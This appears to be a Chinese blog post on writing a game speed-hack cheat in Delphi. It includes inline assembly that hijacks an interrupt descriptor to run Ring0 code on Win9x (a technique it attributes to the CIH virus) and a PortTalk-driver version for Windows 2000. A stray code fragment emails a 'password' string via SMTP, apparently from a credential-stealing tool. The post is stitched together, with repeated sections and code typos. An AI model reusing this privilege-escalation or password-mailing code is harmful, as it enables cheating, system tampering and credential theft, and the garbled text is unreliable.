3、建立一个Protalk.sys的接口(我想省略了,大家可以上http://www.freewebs.com/liuyue/porttalk.pas下个pas文件自己看吧)
4、实现加速外挂。
本来就篇就是补充篇原理我也不想讲太多了,下面就讲一下这程序的实现方法吧,如果说用ProtTalk来操作端口就容易多了,比win98下用ring权限操作方便。
1、新建一个工程,把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。
2、我们在我们新建的工程加入我们的接口文件
uses



windows,ProtTalk……
3、我们建立一个过程
procedure SetRing(value:word);
begin
if not OpenPortTalk then exit;
outportb($43,$34);
outportb($40,lo(Value));
outprotb($40,hi(value));
ClosePortTalk;
end;

4、先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));







nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容
nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题
nmsmtp1.SendMail; //发送邮件







2003-5-15 10:38:09



我一直没有搞懂制作加速外挂是怎么一回事,直到前不久又翻出来了2001年下半期的《程序员合订本》中《“变速齿轮”研究手记》重新回味了一遍,才有了一点点开悟,随后用Delphi重写了一遍,下面我就把我的心得说给大家听听,并且在此感谢《“变速齿轮”研究手记》作者褚瑞大虲给了提示。废话我就不多说了,那就开始神奇的加速型外挂体验之旅吧!
原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。
以前DOS时代玩过编程的人就会马上想到,这很简单嘛不就是直接修改一下8253寄存器嘛,这在以前DOS时代可能可以行得通,但是windows则不然。windows是一个32位的操作系统,并不是你想改哪就改哪的(微软的东东就是如此霸气,说不给你改就不给你改^_^),但要改也不是不可能,我们可以通过两种方法来实现:第一是写一个硬件驱动来完成,第二是用Ring0来实现(这种方法是CIH的作者陈盈豪首用的,它的原理是修改一下IDT表->创建一个中断门->进入Ring0->调用中断修改向量,但是没有办法只能用ASM汇编来实现这一切*_*,做为高级语言使用者惨啦!),用第一种方法用点麻烦,所以我们在这里就用第二种方法实现吧~~~
在实现之前我们来理一下思路吧:
1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门,修改向量等工作
2、调用这个过程来实现加速功能
好了,现在思路有了,我们就边看代码边讲解吧:
首先我们建立一个过程,这个过程就是本程序的核心部份:
procedure SetRing(value:word); stdcall;
const ZDH = $03; // 设一个中断号
var
IDT : array [0..5] of byte; // 保存IDT表
OG : dword; //存放旧向量
begin

asm
push ebx
sidt IDT //读入中断描述符表
mov ebx, dword ptr [IDT+2] //IDT表基地址
add ebx, 8*ZDH //计算中断在中断描述符表中的位置
cli //关中断
mov dx, word ptr [ebx+6]
shl edx, 16d
mov dx, word ptr [ebx]
mov [OG], edx
mov eax, offset @@Ring0 //指向Ring0级代码段
mov word ptr [ebx], ax //低16位,保存在1,2位
shr eax, 16d
mov word ptr [ebx+6], ax //高16位,保存在6,7位
int ZDH //中断
mov ebx, dword ptr [IDT+2] //重新定位
add ebx, 8*ZDH
mov edx, [OG]
mov word ptr [ebx], dx
shr edx, 16d
mov word ptr [ebx+6], dx //恢复被改了的向量
pop ebx
jmp @@exitasm //到exitasm处
@@Ring0: //Ring0,这个也是最最最核心的东东
mov al,$34 //写入8253控制寄存器
out $43,al
mov ax,value //写入定时值
out $40,al //写定时值低位
mov al,ah

out $40,al //写定时值高位
iretd //返回
@@exitasm:
end;
end;
最核心的东西已经写完了,大部份读者是知其然不知其所以然吧,呵呵,不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于“变速齿轮”的一个东东吧!
先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

因为windows默认的值为$1742,所以我们把1742做为基数,又因为值越小越快,反之越慢的原理,所以写了这样一个公式,好了,这就是“变速齿轮”的一个Delphi+ASM版了(只适用于win9X),呵呵,试一下吧,这对你帮助会很大的,呵呵。
在win2000里,我们不可能实现在直接对端口进行操作,Ring0也失了效,有的人就会想到,我们可以写驱动程序来完成呀,但在这里我告诉你,windows2000的驱动不是一个VxD就能实现的,像我这样的低手是写不出windows所用的驱动WDM的,没办法,我只有借助外力实现了,ProtTalk就是一个很好的设备驱动,他很方便的来实现对低层端口的操作,从而实现加速外挂。
1、我们首先要下一个PortTalk驱动,他的官方网站是http://www.beyondlogic.org
2、我们要把里面的prottalk.sys拷贝出来。
3、建立一个Protalk.sys的接口(我想省略了,大家可以上http://www.freewebs.com/liuyue/porttalk.pas下个pas文件自己看吧)
4、实现加速外挂。
本来就篇就是补充篇原理我也不想讲太多了,下面就讲一下这程序的实现方法吧,如果说用ProtTalk来操作端口就容易多了,比win98下用ring权限操作方便。
1、新建一个工程,把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。
2、我们在我们新建的工程加入我们的接口文件
uses



windows,ProtTalk……
3、我们建立一个过程
procedure SetRing(value:word);
begin
if not OpenPortTalk then exit;
outportb($43,$34);
outportb($40,lo(Value));
outprotb($40,hi(value));
ClosePortTalk;
end;

4、先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));



<< Home

This page is powered by Blogger. Isn't yours?